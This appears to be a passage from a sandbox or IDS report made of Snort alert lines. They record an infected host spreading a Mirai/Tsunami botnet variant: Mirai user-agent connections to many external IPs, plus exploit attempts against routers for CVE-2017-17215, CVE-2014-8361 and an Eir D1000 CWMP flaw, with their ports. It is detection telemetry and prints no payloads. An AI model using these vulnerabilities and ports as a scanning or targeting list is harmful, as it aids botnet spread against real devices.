Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:50076 -> 95.179.203.170:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:36270 -> 95.101.247.23:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:57318 -> 95.216.44.23:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60904 -> 213.239.235.190:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:55454 -> 213.198.95.94:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:34962 -> 89.163.152.158:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57658 -> 89.163.213.61:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:37598 -> 89.187.106.236:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60586 -> 83.166.145.103:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:46688 -> 85.17.72.150:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60598 -> 85.187.154.93:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:54674 -> 88.87.98.180:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56778 -> 85.248.43.244:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58918 -> 188.40.68.147:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:54164 -> 188.138.9.13:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56954 -> 83.99.4.205:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:37388 -> 89.43.29.124:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:34290 -> 89.184.91.224:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38182 -> 85.13.187.1:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:55400 -> 95.183.52.80:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36970 -> 188.119.167.50:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:47106 -> 188.74.134.232:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:54902 -> 95.9.133.210:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40676 -> 85.132.7.234:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:37282 -> 188.226.97.201:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40336 -> 188.17.153.2:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36166 -> 85.187.148.148:80 |
Source: Traffic | Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42364 -> 43.248.96.73:37215 |
Source: Traffic | Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35484 -> 197.234.42.55:37215 |
Source: Traffic | Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42576 -> 197.15.249.247:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:46610 -> 181.49.249.212:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45684 -> 206.189.179.171:80 |
Source: Traffic | Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49384 -> 156.250.17.142:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43658 -> 181.52.212.21:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42818 -> 206.248.231.92:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:46070 -> 181.233.56.132:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58564 -> 206.206.79.110:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60786 -> 206.119.248.125:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:44404 -> 88.99.55.245:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:54306 -> 80.168.51.22:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:48370 -> 88.130.209.190:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56584 -> 89.163.218.89:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:52336 -> 88.214.45.1:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:46270 -> 88.151.164.17:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:37390 -> 88.221.213.182:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38994 -> 89.242.14.11:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42406 -> 89.134.144.121:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:55264 -> 89.108.112.150:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53104 -> 89.42.222.136:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45208 -> 89.249.103.198:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:40062 -> 112.175.62.207:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57404 -> 80.71.228.168:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:47242 -> 80.228.47.74:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42964 -> 83.166.141.73:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:33560 -> 83.217.86.156:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:33074 -> 80.248.238.199:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:49234 -> 83.243.33.158:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:37198 -> 80.249.115.144:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59542 -> 89.248.58.107:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:50986 -> 89.161.207.247:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59528 -> 89.161.237.219:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:46260 -> 5.178.7.155:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:34808 -> 89.252.159.73:80 |
Source: Traffic | Snort IDS: 2841623 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:54224 -> 45.192.126.249:80 |
Source: Traffic | Snort IDS: 2841623 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:33172 -> 76.174.1.77:80 |
Source: Traffic | Snort IDS: 2841623 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:49548 -> 156.250.17.142:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56304 -> 5.28.39.25:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:36540 -> 88.198.228.112:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:50246 -> 112.175.88.69:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:45118 -> 88.221.100.111:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:44508 -> 112.74.14.44:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:55876 -> 88.151.61.64:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:32852 -> 112.78.1.121:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:40614 -> 112.72.56.196:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:56656 -> 112.221.130.237:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56250 -> 78.47.219.203:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:33624 -> 2.23.44.29:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43242 -> 2.20.161.180:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43266 -> 78.66.173.107:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57570 -> 2.21.35.143:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51592 -> 2.21.57.175:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51630 -> 86.104.18.161:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:49562 -> 169.50.209.248:80 |
Source: Traffic | Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40506 -> 156.254.67.23:37215 |
Source: Traffic | Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48504 -> 156.254.82.239:37215 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53008 -> 2.40.7.232:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40554 -> 46.151.22.72:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56902 -> 46.174.22.23:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:35348 -> 46.243.78.202:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:34414 -> 46.227.62.7:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59126 -> 2.23.229.150:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60868 -> 46.148.49.88:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36616 -> 2.17.206.155:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57556 -> 178.33.108.87:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36662 -> 178.33.248.147:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38406 -> 178.174.133.2:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53460 -> 178.210.67.165:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:46150 -> 169.46.20.36:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60378 -> 178.23.186.131:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43866 -> 169.44.155.171:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53500 -> 178.91.164.12:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56508 -> 178.88.35.74:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:41024 -> 46.51.228.173:80 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:59444 -> 46.105.203.66:52869 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:45970 -> 88.99.111.66:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:44278 -> 88.173.179.73:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:36636 -> 95.165.0.71:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:40128 -> 95.211.189.80:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:46364 -> 95.103.116.77:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:49178 -> 95.100.206.86:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:42632 -> 95.49.84.241:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:57688 -> 112.49.31.181:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:57684 -> 112.49.31.181:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:43368 -> 112.120.127.159:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:55772 -> 88.216.187.113:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:47652 -> 46.105.33.74:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:39198 -> 46.101.59.242:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38210 -> 46.227.202.92:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42638 -> 46.243.172.246:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45702 -> 46.109.20.168:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:49558 -> 110.42.159.206:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44072 -> 46.229.172.174:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:44688 -> 95.35.25.148:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:52500 -> 95.100.242.153:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:41692 -> 95.59.5.118:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:49252 -> 178.77.82.101:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38332 -> 178.77.117.158:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53432 -> 178.33.118.163:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:33292 -> 178.239.232.213:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58820 -> 178.145.167.128:80 |
Source: Traffic | Snort IDS: 2841623 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56306 -> 151.101.2.244:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:41134 -> 109.194.241.45:7547 |
Source: Traffic | Snort IDS: 2841623 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:34776 -> 199.16.108.197:80 |
Source: Traffic | Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37108 -> 121.7.116.56:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48460 -> 78.47.43.229:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51900 -> 188.34.203.174:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:55618 -> 188.166.93.247:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:39624 -> 188.128.235.103:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48294 -> 188.128.215.160:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60866 -> 188.128.175.25:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:35196 -> 188.165.237.76:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60188 -> 188.128.209.128:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:47880 -> 95.179.176.176:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:55136 -> 95.179.228.204:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:44852 -> 95.217.211.185:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:47124 -> 95.217.4.172:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:34718 -> 95.229.113.69:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:52504 -> 95.143.124.178:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:48856 -> 88.209.248.200:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:55554 -> 88.216.181.30:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59524 -> 178.77.74.151:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:52634 -> 95.56.150.219:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:54674 -> 178.33.68.8:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:41930 -> 178.62.12.57:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56596 -> 178.203.185.173:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40398 -> 178.73.3.82:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42634 -> 178.239.175.221:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40486 -> 178.62.119.185:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44896 -> 178.62.254.181:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:58946 -> 95.56.39.246:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38996 -> 178.218.158.229:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38656 -> 178.167.83.52:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:39132 -> 178.205.107.230:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44486 -> 178.18.232.217:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40916 -> 178.236.106.94:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:35524 -> 188.165.230.8:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:39842 -> 188.68.216.185:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:41588 -> 188.162.235.77:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43146 -> 164.92.134.228:80 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:40628 -> 164.138.122.76:52869 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:40634 -> 164.138.122.76:52869 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48956 -> 78.47.63.255:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:49406 -> 78.129.162.95:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40534 -> 78.107.34.199:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:56446 -> 88.216.0.62:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:40146 -> 88.221.148.6:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:36308 -> 88.80.30.117:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43706 -> 178.38.99.184:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:42956 -> 88.173.4.161:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36860 -> 178.62.213.40:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36748 -> 178.32.13.252:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59040 -> 178.32.218.48:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:37572 -> 178.62.96.125:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57918 -> 178.62.44.40:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:54436 -> 178.249.71.72:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:34662 -> 112.196.82.249:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42476 -> 206.204.132.135:80 |
Source: Traffic | Snort IDS: 2841623 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60864 -> 197.155.138.135:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:48156 -> 112.184.88.247:80 |
